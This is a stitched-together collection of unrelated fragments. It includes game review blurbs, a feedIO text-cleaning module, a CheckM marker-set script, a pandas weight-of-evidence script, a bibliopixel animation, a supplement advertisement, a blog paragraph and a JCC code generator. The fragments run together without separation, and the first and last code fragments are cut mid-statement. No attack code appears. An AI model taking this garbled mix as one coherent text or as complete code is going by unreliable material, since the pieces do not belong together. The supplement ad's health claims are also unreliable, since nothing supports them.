f(self,*args,**kwargs) retval = self.run_post_hook(f.__name__,retval,*args,**kwargs) return retval return _
While Bejeweled Multiplayer's graphics are a little on the murky side, it hardly touches the game's overall virtuosity. The fourth chapter in the Elder Scrolls series takes the game to new levels with gameplay and graphical enhancements, and features over 200 hours of play time. Anyone with even a remote interest in either the genre or the real-life sport should purchase this game as soon as possible. The undeniable king of fighting games is here, and it's time to break bones and necks. Massive Snowboarding is one of the few V Cast games whose technology does not hamper its gameplay but rather bolsters it. Baldur's Gate largely manages to meet, and even surpass, gamers' high expectations for this ambitious game. Investigate a mysterious bombing and unravel a deep mystery in this point-and-click adventure. While the fighting is fun, the game requires more brains than brawn. Civilization III is a triumphant proclamation that strategy gaming is alive and well and still able to keep you rooted in front of your computer for hours at a time. A compelling game with infinite replayability, Wordking should supplant traditional poker on the national circuit. If you've ever liked any other real-time strategy game in this classical style, then you'll clearly see why this one deserves so much credit. It's a good single-player game due to the competitive aspect of setting and breaking your own records. But the multiplayer mode is fantastic. Even if EA Sports had left every other aspect of the game identical to Tiger Woods 2003, the staggering number of new, playable courses alone makes 2004 worthwhile. Network access to puzzles makes this whole crosswording-on-your-phone thing worthwhile. With Might and Magic, Gameloft has created one of the best cell phone action adventure games ever. This funny and exciting turn-based role-playing game will definitely get its hooks in you. Though somewhat dated, it's certainly the best game available for ExEn and is a killer mobile title overall. Monkey Ball's bizarrely compelling gameplay and jocular premise make for a winning combination. It's amazing that Macrospace was able to cram the dozens of racetracks and options onto the cell. This is EA Sports' best soccer game to date on the pitch, but it's really unfortunate that the career mode isn't more user-friendly. This is such a good action game that you wouldn't even notice which kind of famous spaceship you were piloting, if not for the perfect Star Trek tonality. Even though it's a clone of the original, Jamdat Bowling 2 adds a ton of interesting new features and is a very worthwhile download.
#!/usr/bin/python """ A piece of code to do the required manipulation tasks for feedIO. currently provides, cleanText() function to clear any tags and make a text readable. shorten() function to short a long text into a predefined size. To be used with the feedIO tts feature and for classification of the article text. TODO: find better ways to do this. """ __version__ = "0.0.5" __license__ = """ Copyright (C) 2011 Sri Lanka Institute of Information Technology. feedIO is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. feedIO is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with feedIO. If not, see <http://www.gnu.org/licenses/>. """ __author__ = "Chanaka Jayamal <seejay@seejay.net>" __developers__ = ["Chanaka Jayamal", "Lanka Amarasekara", "Kolitha Gajanayake", "Chamika Viraj"] import HTMLParser import tinyurl SHORTEN_LENGTH = 100 class Purify(HTMLParser.HTMLParser): def __init__(self): self.reset() self.fed = [] def handle_data(self, d): self.fed.append(d) def getData(self): return ''.join(self.fed) # Function to clen an article text. def cleanText(text): """ function to clear any tags and make a text readable. """ p= Purify() p.feed(text) data = p.getData() data = data.strip() # remove the trailing "More" link appears in some feeds. stripped = data.strip("\tMore") #to fix the UnicodeEncodeError exception that occurs in some texts stripped = stripped.encode('utf8') return stripped #function to summarize a text to be given a sneak peak. def shorten(text, numChars=SHORTEN_LENGTH): """ function to short a long text into a predefined size. """ info = (text[:numChars] + '..') if len(text) > numChars else text return info def shortenUrl(url): """ function to shorten a long Url. """ try: shortUrl = tinyurl.create_one(url) except: return False return shortUrl
Re: ADDriver & Exchange: howto multiple mail domain? Thread: Re: ADDriver & Exchange: howto multiple mail domain? > able to provide mailbox. > not more mail in more domains). > Is it possible to implement this through ADDriver? > I mean: if I assign the exchange mailbox entitlement for a user (e.g. > usr3) , the driver provide an e-mail on the default mail domain (e.g. > provide the mail on a different mail domain (e.g. usr@beta.net) ? criteria to distinguish what mail domain should be used for each user. Then ensure that criteria is set when creating or modifying a user via IDM.
#!/usr/bin/env python ############################################################################### # # # This program is free software: you can redistribute it and/or modify # # it under the terms of the GNU General Public License as published by # # the Free Software Foundation, either version 3 of the License, or # # (at your option) any later version. # # # # This program is distributed in the hope that it will be useful, # # but WITHOUT ANY WARRANTY; without even the implied warranty of # # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # # GNU General Public License for more details. # # # # You should have received a copy of the GNU General Public License # # along with this program. If not, see <http://www.gnu.org/licenses/>. # # # ############################################################################### __prog_name__ = 'TaxonomicMarkerSets' __prog_desc__ = 'create taxonomic-specific marker sets' __author__ = 'Donovan Parks' __copyright__ = 'Copyright 2013' __credits__ = ['Donovan Parks'] __license__ = 'GPL3' __version__ = '0.0.1' __maintainer__ = 'Donovan Parks' __email__ = 'donovan.parks@gmail.com' __status__ = 'Development' import os import sys import argparse import multiprocessing as mp from checkm.util.img import IMG from checkm.util.taxonomyUtils import rankPrefixes, ranksByLevel from lib.markerSetBuilder import MarkerSetBuilder class TaxonomicMarkerSets(object): def __init__(self): pass def __workerThread(self, ubiquityThreshold, singleCopyThreshold, minGenomes, colocatedDistThreshold, colocatedGenomeThreshold, metadata, queueIn, queueOut): """Process each data item in parallel.""" img = IMG('/srv/whitlam/bio/db/checkm/img/img_metadata.tsv', '/srv/whitlam/bio/db/checkm/pfam/tigrfam2pfam.tsv') markerSetBuilder = MarkerSetBuilder() while True: lineage = queueIn.get(block=True, timeout=None) if lineage == None: break if lineage == 'Universal': genomeIds = img.genomeIdsByTaxonomy('prokaryotes', metadata) else: genomeIds = img.genomeIdsByTaxonomy(lineage, metadata) if len(genomeIds) >= minGenomes: markerSet = markerSetBuilder.buildMarkerSet(genomeIds, ubiquityThreshold, singleCopyThreshold, colocatedDistThreshold) colocatedSets = markerSet.markerSet else: colocatedSets = None # allow results to be processed or written to file queueOut.put((lineage, colocatedSets, len(genomeIds))) def __writerThread(self, pfamIdToPfamAcc, ubiquityThreshold, singleCopyThreshold, colocatedDistThreshold, colocatedGenomeThreshold, outputDir, numDataItems, writerQueue): """Store or write results of worker threads in a single thread.""" #taxonSetOut = open(os.path.join('..', 'data', 'taxon_marker_sets.tsv'), 'w') taxonSetOut = open(os.path.join('.', 'data', 'taxon_marker_sets.tsv'), 'w') processedItems = 0 while True: lineage, colocatedSets, numGenomes = writerQueue.get(block=True, timeout=None) if lineage == None: break processedItems += 1 statusStr = 'Finished processing %d of %d (%.2f%%) lineages.' % (processedItems, numDataItems, float(processedItems)*100/numDataItems) sys.stdout.write('%s\r' % statusStr) sys.stdout.flush() if colocatedSets != None: taxonomy = [x.strip() for x in lineage.split(';')] rankPrefix = rankPrefixes[len(taxonomy)-1] cladeName = taxonomy[-1].strip().replace(' ', '_') fout = open(os.path.join(outputDir, rankPrefix + cladeName + '.txt'), 'w') fout.write('# Taxonomic Marker Set\n') fout.write('LINEAGE\t' + lineage + '\n') fout.write('GENOME\t' + str(numGenomes) + '\n') fout.write('UBIQUITY\t' + str(ubiquityThreshold) + '\n') fout.write('SINGLE_COPY\t' + str(singleCopyThreshold) + '\n') fout.write('COLOCATED_DISTANCE\t' + str(colocatedDistThreshold) + '\n') fout.write('COLOCATED_GENOME_PERCENTAGE\t' + str(colocatedGenomeThreshold) + '\n') # change model names to accession numbers, and make # sure there is an HMM model for each PFAM mungedColocatedSets = [] setSizes = [] for geneSet in colocatedSets: s = set() for geneId in geneSet: if 'pfam' in geneId: pfamId = geneId.replace('pfam', 'PF') if pfamId in pfamIdToPfamAcc: s.add(pfamIdToPfamAcc[pfamId]) else: s.add(geneId) setSizes.append(len(s)) mungedColocatedSets.append(s) fout.write(str(mungedColocatedSets)) fout.close() # write out single taxonomic-specific marker set file numMarkerGenes = 0 for m in mungedColocatedSets: numMarkerGenes += len(m) taxon = taxonomy[-1] if len(taxonomy) == 7: taxon = taxonomy[5] + ' ' + taxonomy[6] maxSetSize = max(setSizes) avgSetSize = float(sum(setSizes))/len(setSizes) taxonSetOut.write(ranksByLevel[len(taxonomy)-1] + '\t' + taxon + '\t' + lineage + '\t' + str(numGenomes) + '\t' + str(numMarkerGenes) + '\t' + str(len(mungedColocatedSets)) + '\t' + str(maxSetSize) + '\t' + str(avgSetSize) + '\t' + str(mungedColocatedSets) + '\n') sys.stdout.write('\n') taxonSetOut.close() def __pfamIdToPfamAcc(self, img): pfamIdToPfamAcc = {} for line in open('/srv/whitlam/bio/db/pfam/27/Pfam-A.hmm'): if 'ACC' in line: acc = line.split()[1].strip() pfamId = acc.split('.')[0] pfamIdToPfamAcc[pfamId] = acc return pfamIdToPfamAcc def run(self, outputDir, ubiquityThreshold, singleCopyThreshold, minGenomes, colocatedDistThreshold, colocatedGenomeThreshold, threads): if not os.path.exists(outputDir): os.makedirs(outputDir) # determine lineages to process img = IMG('/srv/whitlam/bio/db/checkm/img/img_metadata.tsv', '/srv/whitlam/bio/db/checkm/pfam/tigrfam2pfam.tsv') metadata = img.genomeMetadata() lineages = img.lineagesSorted(metadata) lineages.append('Universal') # determine HMM model accession numbers pfamIdToPfamAcc = self.__pfamIdToPfamAcc(img) # populate worker queue with data to process workerQueue = mp.Queue() writerQueue = mp.Queue() for lineage in lineages: workerQueue.put(lineage) for _ in range(threads): workerQueue.put(None) workerProc = [mp.Process(target = self.__workerThread, args = (ubiquityThreshold, singleCopyThreshold, minGenomes, colocatedDistThreshold, colocatedGenomeThreshold, metadata, workerQueue, writerQueue)) for _ in range(threads)] writeProc = mp.Process(target = self.__writerThread, args = (pfamIdToPfamAcc, ubiquityThreshold, singleCopyThreshold, colocatedDistThreshold, colocatedGenomeThreshold, outputDir, len(lineages), writerQueue)) writeProc.start() for p in workerProc: p.start() for p in workerProc: p.join() writerQueue.put((None, None, None)) writeProc.join() if __name__ == '__main__': print __prog_name__ + ' v' + __version__ + ': ' + __prog_desc__ print ' by ' + __author__ + ' (' + __email__ + ')' + '\n' parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter) parser.add_argument('output_dir', help='output directory') parser.add_argument('-u', '--ubiquity', help='ubiquity threshold for defining marker set', type=float, default = 0.97) parser.add_argument('-s', '--single_copy', help='single-copy threshold for defining marker set', type=float, default = 0.97) parser.add_argument('-m', '--min_genomes', help='minimum genomes required to infer marker set', type=int, default = 2) parser.add_argument('-d', '--distance_threshold', help='genomic distance to be considered co-located', type=float, default=5000) parser.add_argument('-g', '--genome_threshold', help='percentage of genomes required to be considered co-located', type=float, default=0.95) parser.add_argument('-t', '--threads', type=int, help='number of threads', default=1) args = parser.parse_args() try: taxonomicMarkerSets = TaxonomicMarkerSets() taxonomicMarkerSets.run(args.output_dir, args.ubiquity, args. single_copy, args.min_genomes, args.distance_threshold, args.genome_threshold, args.threads) except SystemExit: print "\nControlled exit resulting from an unrecoverable error or warning." except: print "\nUnexpected error:", sys.exc_info()[0] raise
An exclusive blend of antioxidants, vitamins and nutrients to help support your body’s glutathione levels and defend against free radicals, chemical toxins, and heavy metals. I find NFuze to a be a great supplement to my diet as it provides me with the vitamins and nutrients I need on a daily basis. I need to make sure I maintain a very nutritious diet, so I’ve found Nfuze to be a great product. I feel great with it and it really helps me recover after exercise by replenishing those vitamins and nutrients that have been depleted. Proprietary blend helps preserve and enhance Glutathione’s function and the body’s antioxidant network. Convenient to take on the go. Buy MaxN~ Fuze™ now. It contains key vitamins a healthy body depends on. Choose the best. Choose MaxN~Fuze.
import pandas as pd import numpy as np import math import time #Replace the nan values with the string True_nan in a dataframe's column def eliminate_nan(col): trueNan = pd.isnull(col) indexs = trueNan[ trueNan == True].index.tolist() col[indexs] = 'True_nan' return col #colnames is a list of names of the columns to be transformed #Should either: # a) Be ["ContractType", "ContractTime", "Category", "SourceName"] # b) Pass data with only the above columns and use colnames.values # The NaN's might have to be transformed before woeization can be completed. #This function returns a dataframe with woe values just with the specified columns def woeization(data, target_variable, colnames): import numpy as np import math my_median = math.floor(data[target_variable].median()) true_all = sum(data[target_variable] >= my_median) false_all = sum(data[target_variable] < my_median) for x in range(len(colnames)): #If the column has any nan value, the nan function is applies if data[colnames[x]].isnull().values.any() == True: data[colnames[x]] = eliminate_nan(data[colnames[x]]) xx = data[colnames[x]] # In each loop, set xx for an entire column my_cat = np.unique(xx).tolist() # List of unique categories on my column xx for y in range(len(my_cat)): true = sum((xx == my_cat[y]) & (data[target_variable] >= my_median)) false = sum((xx == my_cat[y]) & (data[target_variable] < my_median)) # If the data is completely skewed towards a "side" # Make it slightly larger than 0 to get out of the undefined zones of log(x) and 1/x if true == 0: true = 0.001 if false == 0: false = 0.001 # Calcular WoE true_per = float(true) / true_all false_per = float(false) / false_all div = float(true_per) / false_per woe = math.log(div) data.loc[data[colnames[x]] == my_cat[y], colnames[x]] = woe data = data[(colnames + [target_variable])] return data # Run as standalone to get a modified dataframe, else import to get the modified features def main(): global_start = time.time() path = "data/Train_Rev1.csv" target_variable = "SalaryNormalized" colnames = ['ContractType', 'ContractTime', 'Category', 'SourceName'] def identity(x): return x # This allegedly increases speed in loading as it tells pandas to load thos oclumns as strings converters = { "FullDescription" : identity , "Title": identity , "LocationRaw": identity , "LocationNormalized": identity } print "Loading Data..." data = pd.read_csv(path) print "Done!" print "Initializing Data Transformation" data_woe= woeization(data=data, target_variable=target_variable, colnames=colnames) data_woe.to_csv('data/WoE_Features.csv') if __name__=="__main__": main()
Description: This video is a translation of the ?tradition of Gabriel? into sign language. It also offers a brief explanation of the concept of predestination in Islam.
from bibliopixel.animation.matrix import Matrix class Pinwheel(Matrix): def __init__(self, layout, dir=True, **kwds): super().__init__(layout, **kwds) self._center = (self.width // 2, self.height // 2) self._dir = dir self._len = (self.width * 2) + (self.height * 2) - 2 def pre_run(self): self._step = 0 def step(self, amt): if self._dir: s = 255 - self._step else: s = self._step pos = 0 cX, cY = self._center for x in range(self.width): index = pos * 255 / self._len + s self.layout.drawLine(cX, cY, x, 0, self.palette(index)) pos += 1 for y in range(self.height): color = self.palette(pos * 255 / self._len + s) self.layout.drawLine(cX, cY, self.width - 1, y, color) pos += 1 for x in range(self.width - 1, -1, -1): color = self.palette(pos * 255 / self._len + s) self.layout.drawLine(cX, cY, x, self.height - 1, color) pos += 1 for y in range(self.height - 1, -1, -1): color = self.palette(pos * 255 / self._len + s) self.layout.drawLine(cX, cY, 0, y, color) pos += 1 self._step += amt if(self._step >= 255): self._step = 0
I know what you are thinking & it’s not that. I like to believe that I keep it pretty real to myself whether good or bad. As I’ve also expressed in this here blog, I have been quite lucky in my life when it comes to men and my experiences with them. I’ve led the “ship” in most of them and ended up hurting and not being hurt. The one question I am asked is if they were such good experiences what happened? My answer is always “it just wasn’t there”. “IT” defined as the passion, the enrichment, the completion, the unconditional, the loyalty, the honesty, the respect… all of DAT is under the “it” I need and the it that I want in order for a long-term relationship.
# # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import os, sys, platform, shutil, _jcc, py_compile from cpp import PRIMITIVES, INDENT, HALF_INDENT from cpp import cppname, cppnames, typename from cpp import line, signature, find_method, split_pkg, sort from cpp import Modifier from _jcc import findClass from config import INCLUDES, CFLAGS, DEBUG_CFLAGS, LFLAGS, SHARED python_ver = '%d.%d.%d' %(sys.version_info[0:3]) if python_ver < '2.4': from sets import Set as set RESULTS = { 'boolean': 'Py_RETURN_BOOL(%s);', 'byte': 'return PyString_FromStringAndSize((char *) &%s, 1);', 'char': 'return PyUnicode_FromUnicode((Py_UNICODE *) &%s, 1);', 'double': 'return PyFloat_FromDouble((double) %s);', 'float': 'return PyFloat_FromDouble((double) %s);', 'int': 'return PyInt_FromLong((long) %s);', 'long': 'return PyLong_FromLongLong((PY_LONG_LONG) %s);', 'short': 'return PyInt_FromLong((long) %s);', 'java.lang.String': 'return j2p(%s);' } CALLARGS = { 'boolean': ('O', '(%s ? Py_True : Py_False)', False), 'byte': ('O', 'PyString_FromStringAndSize((char *) &%s, 1)', True), 'char': ('O', 'PyUnicode_FromUnicode((Py_UNICODE *) &%s, 1)', True), 'double': ('d', '(double) %s', False), 'float': ('f', '(float) %s', False), 'int': ('i', '(int) %s', False), 'long': ('L', '(long long) %s', False), 'short': ('i', '(int) %s', False), 'java.lang.String': ('O', 'env->fromJString((jstring) %s)', True) } def parseArgs(params, current): def signature(cls): array = '' while cls.isArray(): array += '[' cls = cls.getComponentType() clsName = cls.getName() if cls.isPrimitive(): return array + PRIMITIVES[clsName] if clsName == 'java.lang.String': return array + 's' if clsName == 'java.lang.Object': return array + 'o' return array + 'k' def checkarg(cls): while cls.isArray(): cls = cls.getComponentType() if (cls.isPrimitive() or cls.getName() in ('java.lang.String', 'java.lang.Object')): return '' return ', %s::initializeClass' %(typename(cls, current, False)) def callarg(cls, i): return ', &a%d' %(i) return (''.join([signature(param) for param in params]), ''.join([checkarg(param) for param in params]), ''.join([callarg(params[i], i) for i in xrange(len(params))])) def construct(out, indent, cls, inCase, constructor, names): if inCase: line(out, indent, '{') indent += 1 params = constructor.getParameterTypes() count = len(params) for i in xrange(count): line(out, indent, '%s a%d%s;', typename(params[i], cls, False), i, not params[i].isPrimitive() and '((jobject) NULL)' or '') line(out, indent, '%s object((jobject) NULL);', cppname(names[-1])) line(out) if count: line(out, indent, 'if (!parseArgs(args, "%s"%s%s))', *parseArgs(params, cls)) line(out, indent, '{') indent += 1 line(out, indent, 'INT_CALL(object = %s(%s));', cppname(names[-1]), ', '.join(['a%d' %(i) for i in xrange(count)])) line(out, indent, 'self->object = object;') if inCase: line(out, indent, 'break;') if count: indent -= 1 line(out, indent, '}') if inCase: indent -= 1 line(out, indent, '}') def rpartition(string, sep): if python_ver >= '2.5.0': return string.rpartition(sep) else: parts = split_pkg(string, sep) if len(parts) == 1: return ('', '', parts[0]) return (parts[0], sep, parts[1]) def fieldValue(cls, value, fieldType): if fieldType.isArray(): fieldType = fieldType.getComponentType() if fieldType.isArray(): result = 'JArray<jobject>(%s->this$).wrap(NULL)' elif fieldType.isPrimitive(): result = '%s->wrap()' elif fieldType.getName() == 'java.lang.String': result = 'JArray<jstring>(%s->this$).wrap()' else: parts = rpartition(typename(fieldType, cls, False), '::') result = 'JArray<jobject>(%%s->this$).wrap(%s%st_%s::wrap_jobject)' %(parts) elif fieldType.getName() == 'java.lang.String': result = 'j2p(*%s)' elif not fieldType.isPrimitive(): parts = rpartition(typename(fieldType, cls, False), '::') result = '%s%st_%s::wrap_Object(*%%s)' %(parts) else: return value return result %(value) def returnValue(cls, returnType, value): result = RESULTS.get(returnType.getName()) if not result: if returnType.isArray(): returnType = returnType.getComponentType() depth = 1 while returnType.isArray(): returnType = returnType.getComponentType() depth += 1 if depth > 1: result = 'return JArray<jobject>(%s.this$).wrap(NULL);' elif returnType.isPrimitive(): result = 'return %s.wrap();' elif returnType.getName() == 'java.lang.String': result = 'return JArray<jstring>(%s.this$).wrap();' else: returnName = typename(returnType, cls, False) parts = rpartition(returnName, '::') result = 'return JArray<jobject>(%%s.this$).wrap(%s%st_%s::wrap_jobject);' %(parts) else: returnName = typename(returnType, cls, False) parts = rpartition(returnName, '::') result = 'return %s%st_%s::wrap_Object(%%s);' %(parts) return result %(value) def call(out, indent, cls, inCase, method, names, cardinality, isExtension): if inCase: line(out, indent, '{') indent += 1 name = method.getName() modifiers = method.getModifiers() params = method.getParameterTypes() returnType = method.getReturnType() count = len(params) for i in xrange(count): line(out, indent, '%s a%d%s;', typename(params[i], cls, False), i, not params[i].isPrimitive() and '((jobject) NULL)' or '') returnName = returnType.getName() if returnName != 'void': line(out, indent, '%s result%s;', typename(returnType, cls, False), not returnType.isPrimitive() and '((jobject) NULL)' or '') result = 'result = ' else: result = '' if cardinality and (count or not inCase): s = cardinality > 1 and 's' or '' line(out) if isExtension and name == 'clone' and Modifier.isNative(modifiers): line(out, indent, 'if (arg)') else: line(out, indent, 'if (!parseArg%s(arg%s, "%s"%s%s))', s, s, *parseArgs(params, cls)) line(out, indent, '{') indent += 1 name = cppname(name) if Modifier.isStatic(modifiers): line(out, indent, 'OBJ_CALL(%s%s::%s(%s));', result, '::'.join(cppnames(names)), name, ', '.join(['a%d' %(i) for i in xrange(count)])) else: line(out, indent, 'OBJ_CALL(%sself->object.%s(%s));', result, name, ', '.join(['a%d' %(i) for i in xrange(count)])) if isExtension and name == 'clone' and Modifier.isNative(modifiers): line(out) line(out, indent, '%s object(result.this$);', typename(cls, cls, False)) line(out, indent, 'if (PyObject_TypeCheck(arg, &FinalizerProxy$$Type) &&') line(out, indent, ' PyObject_TypeCheck(((t_fp *) arg)->object, self->ob_type))') line(out, indent, '{') line(out, indent + 1, 'PyObject *_arg = ((t_fp *) arg)->object;') line(out, indent + 1, '((t_JObject *) _arg)->object = object;') line(out, indent + 1, 'Py_INCREF(_arg);') line(out, indent + 1, 'object.pythonExtension((jlong) (Py_intptr_t) (void *) _arg);') line(out, indent + 1, 'Py_INCREF(arg);') line(out, indent + 1, 'return arg;') line(out, indent, '}') line(out, indent, 'return PyErr_SetArgsError("%s", arg);' %(name)) elif returnName != 'void': line(out, indent, returnValue(cls, returnType, 'result')) else: line(out, indent, 'Py_RETURN_NONE;') if cardinality and (count or not inCase): indent -= 1 line(out, indent, '}') if inCase: indent -= 1 line(out, indent, '}') def methodargs(methods, superMethods): if len(methods) == 1 and methods[0].getName() not in superMethods: count = len(methods[0].getParameterTypes()) if count == 0: return '', '', 0 elif count == 1: return ', PyObject *arg', ', arg', 1 return ', PyObject *args', ', args', 2 def jniname(cls): if cls.isPrimitive(): name = cls.getName() if name != 'void': name = 'j' + name else: name = 'jobject' return name def jniargs(params): count = len(params) decls = ', '.join(['%s a%d' %(jniname(params[i]), i) for i in xrange(count)]) if decls: return ', ' + decls return '' def extension(env, out, indent, cls, names, name, count, method): line(out, indent, 'jlong ptr = jenv->CallLongMethod(jobj, %s::mids$[%s::mid_pythonExtension_%s]);', cppname(names[-1]), cppname(names[-1]), env.strhash('()J')) line(out, indent, 'PyObject *obj = (PyObject *) (Py_intptr_t) ptr;') if name == 'pythonDecRef': line(out) line(out, indent, 'if (obj != NULL)') line(out, indent, '{') line(out, indent + 1, 'jenv->CallVoidMethod(jobj, %s::mids$[%s::mid_pythonExtension_%s], (jlong) 0);', cppname(names[-1]), cppname(names[-1]), env.strhash('(J)V')) line(out, indent + 1, 'env->finalizeObject(jenv, obj);') line(out, indent, '}') return line(out, indent, 'PythonGIL gil(jenv);') returnType = method.getReturnType() returnName = returnType.getName() if returnName != 'void': line(out, indent, '%s value%s;', typename(returnType, cls, False), not returnType.isPrimitive() and '((jobject) NULL)' or '') sigs = [] decrefs = [] args = [] i = 0 for param in method.getParameterTypes(): typeName = param.getName() if typeName in CALLARGS: sig, code, decref = CALLARGS[typeName] elif param.isArray(): param = param.getComponentType() if param.isPrimitive(): code = 'JArray<j%s>(%%s).wrap()' %(param.getName()) elif param.isArray(): code = 'JArray<jobject>(%s).wrap(NULL)' elif param.getName() == 'java.lang.String': code = 'JArray<jstring>(%s).wrap()' else: parts = rpartition(typename(param, cls, False), '::') code = 'JArray<jobject>(%%s).wrap(%s%st_%s::wrap_jobject)' %(parts) sig, decref = 'O', True elif param.getName() == 'java.lang.String': sig, code, decref = 'O', 'j2p(%%s))', True else: parts = rpartition(typename(param, cls, False), '::') sig, code, decref = 'O', '%s%st_%s::wrap_Object(%s%s%s(%%s))' %(parts*2), True if sig == 'O': line(out, indent, 'PyObject *o%d = %s;', i, code %('a%d' %(i))) args.append('o%d' %(i)) else: args.append(code %('a%d' %(i))) sigs.append(sig) decrefs.append(decref) i += 1 args = ', '.join(args) if args: args = ', ' + args line(out, indent, 'PyObject *result = PyObject_CallMethod(obj, "%s", "%s"%s);', name, ''.join(sigs), args) i = 0 for decref in decrefs: if decref: line(out, indent, 'Py_DECREF(o%d);', i) i += 1 line(out, indent, 'if (!result)') line(out, indent + 1, 'throwPythonError();') if returnName == 'void': line(out, indent, 'else') line(out, indent + 1, 'Py_DECREF(result);') else: signature, check, x = parseArgs([returnType], cls) line(out, indent, 'else if (parseArg(result, "%s"%s, &value))', signature, check) line(out, indent, '{') line(out, indent + 1, 'throwTypeError("%s", result);', name) line(out, indent + 1, 'Py_DECREF(result);') line(out, indent, '}') line(out, indent, 'else') line(out, indent, '{') if not returnType.isPrimitive(): line(out, indent + 1, 'jobj = jenv->NewLocalRef(value.this$);') line(out, indent + 1, 'Py_DECREF(result);') if returnType.isPrimitive(): line(out, indent + 1, 'return value;') else: line(out, indent + 1, 'return jobj;') line(out, indent, '}') line(out) if returnType.isPrimitive(): line(out, indent, 'return (j%s) 0;', returnName) else: line(out, indent, 'return (jobject) NULL;') def python(env, out_h, out, cls, superCls, names, superNames, constructors, methods, protectedMethods, fields, instanceFields, mapping, sequence, rename, declares, typeset, excludes, moduleName): line(out_h) line(out_h, 0, '#include <Python.h>') line(out_h) indent = 0 for name in names[:-1]: line(out_h, indent, 'namespace %s {', cppname(name)) indent += 1 line(out_h, indent, 'extern PyTypeObject %s$$Type;', names[-1]) line(out_h) line(out_h, indent, 'class t_%s {', names[-1]) line(out_h, indent, 'public:') line(out_h, indent + 1, 'PyObject_HEAD') line(out_h, indent + 1, '%s object;', cppname(names[-1])) line(out_h, indent + 1, 'static PyObject *wrap_Object(const %s&);', cppname(names[-1])) line(out_h, indent + 1, 'static PyObject *wrap_jobject(const jobject&);') line(out_h, indent + 1, 'static void install(PyObject *module);') line(out_h, indent + 1, 'static void initialize(PyObject *module);') line(out_h, indent, '};') iterator = findClass('java/util/Iterator') enumeration = findClass('java/util/Enumeration') while indent: indent -= 1 line(out_h, indent, '}') line(out) line(out, 0, '#include "structmember.h"') line(out, 0, '#include "functions.h"') line(out, 0, '#include "macros.h"') for inner in cls.getDeclaredClasses(): if inner in typeset and not inner in declares: if Modifier.isStatic(inner.getModifiers()): line(out, 0, '#include "%s.h"', inner.getName().replace('.', '/')) for method in methods: if method.getName() == 'pythonExtension': isExtension = True break else: isExtension = False line(out) indent = 0 for name in names[:-1]: line(out, indent, 'namespace %s {', cppname(name)) indent += 1 if not isExtension: line(out, indent, 'static PyObject *t_%s_cast_(PyTypeObject *type, PyObject *arg);', names[-1]) line(out, indent, 'static PyObject *t_%s_instance_(PyTypeObject *type, PyObject *arg);', names[-1]) if constructors: line(out, indent, 'static int t_%s_init_(t_%s *self, PyObject *args, PyObject *kwds);', names[-1], names[-1]) constructorName = 't_%s_init_' %(names[-1]) else: constructorName = 'abstract_init' if superCls: superMethods = set([method.getName() for method in superCls.getMethods()]) else: superMethods = () allMethods = {} extMethods = {} propMethods = {} if methods: for method in methods: modifiers = method.getModifiers() name = method.getName() params = method.getParameterTypes() superMethod = None isNative = Modifier.isNative(modifiers) isStatic = Modifier.isStatic(modifiers) if (isExtension and not isStatic and superCls and isNative): superMethod = find_method(superCls, name, params) if isExtension and isNative and not isStatic: extMethods.setdefault(name, []).append(method) if superMethod or not (isExtension and isNative and not isStatic): if isStatic: if name in allMethods: if Modifier.isStatic(allMethods[name][0].getModifiers()): allMethods[name].append(method) elif name + '_' in allMethods: allMethods[name + '_'].append(method) else: print >>sys.stderr, " Warning: renaming static method '%s' on class %s to '%s_' since it is shadowed by non-static method of same name." %(name, '.'.join(names), name) allMethods[name + '_'] = [method] else: allMethods[name] = [method] else: if name in allMethods: if Modifier.isStatic(allMethods[name][0].getModifiers()): print >>sys.stderr, " Warning: renaming static method '%s' on class %s to '%s_' since it is shadowed by non-static method of same name." %(name, '.'.join(names), name) allMethods[name + '_'] = allMethods[name] allMethods[name] = [method] else: allMethods[name].append(method) else: allMethods[name] = [method] if not (isExtension and isNative): nameLen = len(name) paramsLen = len(params) if nameLen > 3 and paramsLen == 0 and name.startswith('get'): propMethods.setdefault(name[3].lower() + name[4:], []).append(method) elif nameLen > 3 and paramsLen == 1 and name.startswith('set'): propMethods.setdefault(name[3].lower() + name[4:], []).append(method) elif nameLen > 2 and paramsLen == 0 and name.startswith('is'): propMethods.setdefault(name[2].lower() + name[3:], []).append(method) properties = set([name for name in propMethods.iterkeys() if name not in allMethods]) propMethods = [(name, propMethods[name]) for name in properties] sort(propMethods, key=lambda x: x[0]) extMethods = extMethods.items() sort(extMethods, key=lambda x: x[0]) allMethods = allMethods.items() sort(allMethods, key=lambda x: x[0]) iteratorMethod = None iteratorExt = False nextMethod = None nextExt = False nextElementMethod = None nextElementExt = False mappingMethod = None if mapping: mappingName, mappingSig = mapping.split(':') sequenceLenMethod = None sequenceGetMethod = None if sequence: sequenceLenName, sequenceLenSig = sequence[0].split(':') sequenceGetName, sequenceGetSig = sequence[1].split(':') for name, methods in allMethods: args, x, cardinality = methodargs(methods, superMethods) sort(methods, key=lambda x: len(x.getParameterTypes())) method = methods[0] modifiers = method.getModifiers() if name == 'iterator' and iteratorMethod is None: if (not method.getParameterTypes() and iterator.isAssignableFrom(method.getReturnType())): iteratorMethod = method elif name == 'next' and nextMethod is None: if (not method.getParameterTypes() and not method.getReturnType().isPrimitive()): nextMethod = method elif name == 'nextElement' and nextElementMethod is None: if (not method.getParameterTypes() and not method.getReturnType().isPrimitive()): nextElementMethod = method elif mapping and name == mappingName and mappingMethod is None: if signature(method) == mappingSig: mappingMethod = (method, cardinality) elif sequence and name == sequenceLenName and sequenceLenMethod is None: if signature(method) == sequenceLenSig: sequenceLenMethod = (method, cardinality) elif sequence and name == sequenceGetName and sequenceGetMethod is None: if signature(method) == sequenceGetSig: sequenceGetMethod = (method, cardinality) elif isExtension and name == 'clone' and Modifier.isNative(modifiers): args, x, cardinality = ', PyObject *arg', ', arg', 1 if Modifier.isStatic(modifiers): line(out, indent, 'static PyObject 